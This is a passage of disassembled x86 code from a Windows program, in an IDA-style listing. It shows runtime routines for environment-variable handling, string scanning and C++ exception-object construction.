		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_43C8A4
		xor	eax, eax
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C8A4:				; CODE XREF: sub_43C5F0+2ABj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_421EE0
		mov	[ebp+var_44], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_44]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_43C8E6
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_43C8E6:				; CODE XREF: sub_43C5F0+2DDj
		cmp	[ebp+var_24], 0
		jnz	short loc_43C8F3
		xor	eax, eax
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C8F3:				; CODE XREF: sub_43C5F0+2FAj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	near ptr 2910000h
		nop
		test	eax, eax
		jnz	short loc_43C91A
		xor	eax, eax
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C91A:				; CODE XREF: sub_43C5F0+321j
		push	0
		push	0
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		call	near ptr 2910000h
		nop
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_43C942
		xor	eax, eax
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C942:				; CODE XREF: sub_43C5F0+349j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_20]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_421EE0
		mov	[ebp+var_48], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_28], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_43C984
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_28], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_43C984:				; CODE XREF: sub_43C5F0+37Bj
		cmp	[ebp+var_28], 0
		jnz	short loc_43C98E
		xor	eax, eax
		jmp	short loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C98E:				; CODE XREF: sub_43C5F0+398j
		mov	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	near ptr 2910000h
		nop
		test	eax, eax
		jnz	short loc_43C9B2
		xor	eax, eax
		jmp	short loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C9B2:				; CODE XREF: sub_43C5F0+3BCj
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2710000h
		jmp	short loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C9D2:				; CODE XREF: sub_43C5F0+EBj
		xor	eax, eax


loc_43C9D4:				; CODE XREF: sub_43C5F0+81j
					; sub_43C5F0+DFj ...
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43C5F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C9F0	proc near		; CODE XREF: sub_43C5F0+94p
					; sub_43C5F0+ADp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx


loc_43CA02:				; CODE XREF: sub_43C9F0+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_43CA27
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_43CA27
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_43CA02
; ---------------------------------------------------------------------------


loc_43CA27:				; CODE XREF: sub_43C9F0+20j
					; sub_43C9F0+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_43CA39
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_43CA3C
; ---------------------------------------------------------------------------


loc_43CA39:				; CODE XREF: sub_43C9F0+3Fj
		mov	eax, [ebp+arg_4]


loc_43CA3C:				; CODE XREF: sub_43C9F0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_43C9F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CA40	proc near		; CODE XREF: sub_43C540+92p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		cmp	[ebp+arg_0], 0
		jz	short loc_43CA6C
		push	3Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_43CE90
		add	esp, 8
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_43CA6C
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_18]
		jnz	short loc_43CA74


loc_43CA6C:				; CODE XREF: sub_43CA40+Bj
					; sub_43CA40+22j
		or	eax, 0FFFFFFFFh
		jmp	loc_43CD1B
; ---------------------------------------------------------------------------


loc_43CA74:				; CODE XREF: sub_43CA40+2Aj
		mov	edx, [ebp+var_18]
		movsx	eax, byte ptr [edx+1]
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_14], eax
		mov	ecx, dword_4E9214
		cmp	ecx, dword_4E9218
		jnz	short loc_43CAA5
		mov	edx, dword_4E9214
		push	edx
		call	sub_43CDA0
		add	esp, 4
		mov	dword_4E9214, eax


loc_43CAA5:				; CODE XREF: sub_43CA40+4Fj
		cmp	dword_4E9214, 0
		jnz	loc_43CB65
		cmp	[ebp+arg_4], 0
		jz	short loc_43CAD7
		cmp	dword_4E921C, 0
		jz	short loc_43CAD7
		call	sub_43C540
		test	eax, eax
		jz	short loc_43CAD2
		or	eax, 0FFFFFFFFh
		jmp	loc_43CD1B
; ---------------------------------------------------------------------------


loc_43CAD2:				; CODE XREF: sub_43CA40+88j
		jmp	loc_43CB65
; ---------------------------------------------------------------------------


loc_43CAD7:				; CODE XREF: sub_43CA40+76j
					; sub_43CA40+7Fj
		cmp	[ebp+var_14], 0
		jz	short loc_43CAE4
		xor	eax, eax
		jmp	loc_43CD1B
; ---------------------------------------------------------------------------


loc_43CAE4:				; CODE XREF: sub_43CA40+9Bj
		cmp	dword_4E9214, 0
		jnz	short loc_43CB24
		push	87h
		push	offset dword_440068
		push	2
		push	4
		call	sub_41EDD0
		add	esp, 10h
		mov	dword_4E9214, eax
		cmp	dword_4E9214, 0
		jnz	short loc_43CB19
		or	eax, 0FFFFFFFFh
		jmp	loc_43CD1B
; ---------------------------------------------------------------------------


loc_43CB19:				; CODE XREF: sub_43CA40+CFj
		mov	eax, dword_4E9214
		mov	dword ptr [eax], 0


loc_43CB24:				; CODE XREF: sub_43CA40+ABj
		cmp	dword_4E921C, 0
		jnz	short loc_43CB65
		push	8Eh
		push	offset dword_440068
		push	2
		push	4
		call	sub_41EDD0
		add	esp, 10h
		mov	dword_4E921C, eax
		cmp	dword_4E921C, 0
		jnz	short loc_43CB59
		or	eax, 0FFFFFFFFh
		jmp	loc_43CD1B
; ---------------------------------------------------------------------------


loc_43CB59:				; CODE XREF: sub_43CA40+10Fj
		mov	ecx, dword_4E921C
		mov	dword ptr [ecx], 0


loc_43CB65:				; CODE XREF: sub_43CA40+6Cj
					; sub_43CA40:loc_43CAD2j ...
		mov	edx, dword_4E9214
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_18]
		sub	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_43CD20
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jl	loc_43CC21
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx], 0
		jz	loc_43CC21
		cmp	[ebp+var_14], 0
		jz	short loc_43CC13
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_41F970
		add	esp, 8
		jmp	short loc_43CBBF
; ---------------------------------------------------------------------------


loc_43CBB6:				; CODE XREF: sub_43CA40+19Ej
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_43CBBF:				; CODE XREF: sub_43CA40+174j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_43CBE0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+var_C]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4], edx
		jmp	short loc_43CBB6
; ---------------------------------------------------------------------------


loc_43CBE0:				; CODE XREF: sub_43CA40+189j
		push	0B9h
		push	offset dword_440068
		push	2
		mov	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41F2C0
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_43CC11
		mov	edx, [ebp+var_C]
		mov	dword_4E9214, edx


loc_43CC11:				; CODE XREF: sub_43CA40+1C6j
		jmp	short loc_43CC1F
; ---------------------------------------------------------------------------


loc_43CC13:				; CODE XREF: sub_43CA40+15Ej
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4], edx


loc_43CC1F:				; CODE XREF: sub_43CA40:loc_43CC11j
		jmp	short loc_43CC94
; ---------------------------------------------------------------------------


loc_43CC21:				; CODE XREF: sub_43CA40+148j
					; sub_43CA40+154j
		cmp	[ebp+var_14], 0
		jnz	short loc_43CC8D
		cmp	[ebp+var_8], 0
		jge	short loc_43CC35
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_43CC35:				; CODE XREF: sub_43CA40+1EBj
		push	0CEh
		push	offset dword_440068
		push	2
		mov	ecx, [ebp+var_8]
		lea	edx, ds:8[ecx*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41F2C0
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_43CC69
		or	eax, 0FFFFFFFFh
		jmp	loc_43CD1B
; ---------------------------------------------------------------------------


loc_43CC69:				; CODE XREF: sub_43CA40+21Fj
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+ecx*4+4], 0
		mov	eax, [ebp+var_C]
		mov	dword_4E9214, eax
		jmp	short loc_43CC94
; ---------------------------------------------------------------------------


loc_43CC8D:				; CODE XREF: sub_43CA40+1E5j
		xor	eax, eax
		jmp	loc_43CD1B
; ---------------------------------------------------------------------------


loc_43CC94:				; CODE XREF: sub_43CA40:loc_43CC1Fj
					; sub_43CA40+24Bj
		cmp	[ebp+arg_4], 0
		jz	short loc_43CD19
		push	0E5h
		push	offset dword_440068
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		add	eax, 2
		push	eax
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_43CD19
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_422580
		add	esp, 8
		mov	ecx, [ebp+var_18]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		neg	edx
		sbb	edx, edx
		not	edx
		and	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	near ptr 2700000h
		nop
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41F970
		add	esp, 8


loc_43CD19:				; CODE XREF: sub_43CA40+258j
					; sub_43CA40+285j
		xor	eax, eax


loc_43CD1B:				; CODE XREF: sub_43CA40+2Fj
					; sub_43CA40+8Dj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_43CA40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CD20	proc near		; CODE XREF: sub_43CA40+139p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4E9214
		mov	[ebp+var_4], eax
		jmp	short loc_43CD37
; ---------------------------------------------------------------------------


loc_43CD2E:				; CODE XREF: sub_43CD20:loc_43CD88j
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx


loc_43CD37:				; CODE XREF: sub_43CD20+Cj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_43CD8A
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_43C4F0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43CD88
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [edx+eax]
		cmp	ecx, 3Dh
		jz	short loc_43CD7A
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [eax+ecx]
		test	edx, edx
		jnz	short loc_43CD88


loc_43CD7A:				; CODE XREF: sub_43CD20+48j
		mov	eax, [ebp+var_4]
		sub	eax, dword_4E9214
		sar	eax, 2
		jmp	short loc_43CD98
; ---------------------------------------------------------------------------


loc_43CD88:				; CODE XREF: sub_43CD20+37j
					; sub_43CD20+58j
		jmp	short loc_43CD2E
; ---------------------------------------------------------------------------


loc_43CD8A:				; CODE XREF: sub_43CD20+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, dword_4E9214
		sar	eax, 2
		neg	eax


loc_43CD98:				; CODE XREF: sub_43CD20+66j
		mov	esp, ebp
		pop	ebp
		retn
sub_43CD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CDA0	proc near		; CODE XREF: sub_43CA40+58p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_43CDC0
		xor	eax, eax
		jmp	loc_43CE8A
; ---------------------------------------------------------------------------


loc_43CDC0:				; CODE XREF: sub_43CDA0+17j
					; sub_43CDA0+3Bj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_C]
		add	eax, 4
		mov	[ebp+var_C], eax
		test	edx, edx
		jz	short loc_43CDDD
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_43CDC0
; ---------------------------------------------------------------------------


loc_43CDDD:				; CODE XREF: sub_43CDA0+30j
		push	146h
		push	offset dword_440068
		push	2
		mov	edx, [ebp+var_10]
		lea	eax, ds:4[edx*4]
		push	eax
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_43CE15
		push	9
		call	sub_424980
		add	esp, 4


loc_43CE15:				; CODE XREF: sub_43CDA0+69j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_C], edx


loc_43CE1B:				; CODE XREF: sub_43CDA0+DCj
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_43CE7E
		push	14Fh
		push	offset dword_440068
		push	2
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		push	edx
		call	sub_41EBD0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41EDD0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jz	short loc_43CE6A
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	sub_422580
		add	esp, 8


loc_43CE6A:				; CODE XREF: sub_43CDA0+B4j
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_43CE1B
; ---------------------------------------------------------------------------


loc_43CE7E:				; CODE XREF: sub_43CDA0+81j
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp+var_4]


loc_43CE8A:				; CODE XREF: sub_43CDA0+1Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_43CDA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CE90	proc near		; CODE XREF: sub_43CA40+13p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E96BC, 0
		jnz	short loc_43CEB2
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_422680
		add	esp, 8
		jmp	loc_43CF79
; ---------------------------------------------------------------------------


loc_43CEB2:				; CODE XREF: sub_43CE90+Bj
		push	19h
		call	sub_425990
		add	esp, 4
		jmp	short loc_43CEC7
; ---------------------------------------------------------------------------


loc_43CEBE:				; CODE XREF: sub_43CE90:loc_43CF56j
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx


loc_43CEC7:				; CODE XREF: sub_43CE90+2Cj
		mov	eax, [ebp+arg_0]
		movzx	cx, byte ptr [eax]
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_43CF5B
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_4E97C1[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_43CF46
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_43CF18
		push	19h
		call	sub_425A30
		add	esp, 4
		xor	eax, eax
		jmp	short loc_43CF79
; ---------------------------------------------------------------------------


loc_43CF18:				; CODE XREF: sub_43CE90+78j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		shl	edx, 8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		or	edx, ecx
		cmp	[ebp+arg_4], edx
		jnz	short loc_43CF44
		push	19h
		call	sub_425A30
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		jmp	short loc_43CF79
; ---------------------------------------------------------------------------


loc_43CF44:				; CODE XREF: sub_43CE90+A0j
		jmp	short loc_43CF56
; ---------------------------------------------------------------------------


loc_43CF46:				; CODE XREF: sub_43CE90+64j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		cmp	[ebp+arg_4], edx
		jnz	short loc_43CF56
		jmp	short loc_43CF5B
; ---------------------------------------------------------------------------


loc_43CF56:				; CODE XREF: sub_43CE90:loc_43CF44j
					; sub_43CE90+C2j
		jmp	loc_43CEBE
; ---------------------------------------------------------------------------


loc_43CF5B:				; CODE XREF: sub_43CE90+4Dj
					; sub_43CE90+C4j
		push	19h
		call	sub_425A30
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	[ebp+arg_4], eax
		jnz	short loc_43CF77
		mov	eax, [ebp+arg_0]
		jmp	short loc_43CF79
; ---------------------------------------------------------------------------


loc_43CF77:				; CODE XREF: sub_43CE90+E0j
		xor	eax, eax


loc_43CF79:				; CODE XREF: sub_43CE90+1Dj
					; sub_43CE90+86j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_43CE90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CF80	proc near		; CODE XREF: sub_41081E+19p
					; sub_410905+19p ...

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43CF80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp+var_38]
		call	sub_4107B0
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_43D130
		push	offset dword_4403C0
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_43DB60
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43CF80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CFE0	proc near		; CODE XREF: sub_43D070+10p
					; sub_43D250+Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43CFE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		call	sub_43D8E0
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_41077B
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], offset	off_440088
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43CFE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D050	proc near		; DATA XREF: .XComp0:0044008Co
					; .XComp0:0044009Co ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0Ch
		call	sub_4108AA
		mov	esp, ebp
		pop	ebp
		retn
sub_43D050	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D070	proc near		; DATA XREF: .XComp0:00440090o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43CFE0
		push	offset dword_440430
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_43DB60
		mov	esp, ebp
		pop	ebp
		retn
sub_43D070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D0A0	proc near		; CODE XREF: sub_43D100+Ap
					; sub_43D1D0+13p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43D0A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], offset	off_440088
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_4107DD
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		call	sub_43D9A0
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43D0A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D100	proc near		; DATA XREF: .XComp0:off_440088o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43D0A0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43D125
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_423AE0
		add	esp, 4


loc_43D125:				; CODE XREF: sub_43D100+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43D100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D130	proc near		; CODE XREF: sub_43CF80+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43D160
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_440098
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43D130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D160	proc near		; CODE XREF: sub_43D130+Ep
					; sub_43D2E0+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43D160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], offset dword_43EEFC
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_14]
		call	sub_43D870
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, 0Ch
		call	sub_41077B
		mov	edx, [ebp+var_14]
		mov	dword ptr [edx], offset	off_440088
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43D160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D1D0	proc near		; CODE XREF: sub_43D220+Ap
					; DATA XREF: .XComp0:004403C4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_440098
		mov	ecx, [ebp+var_4]
		call	sub_43D0A0
		mov	esp, ebp
		pop	ebp
		retn
sub_43D1D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D1F0	proc near		; DATA XREF: .XComp0:004400A0o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43D250
		push	offset dword_4403C0
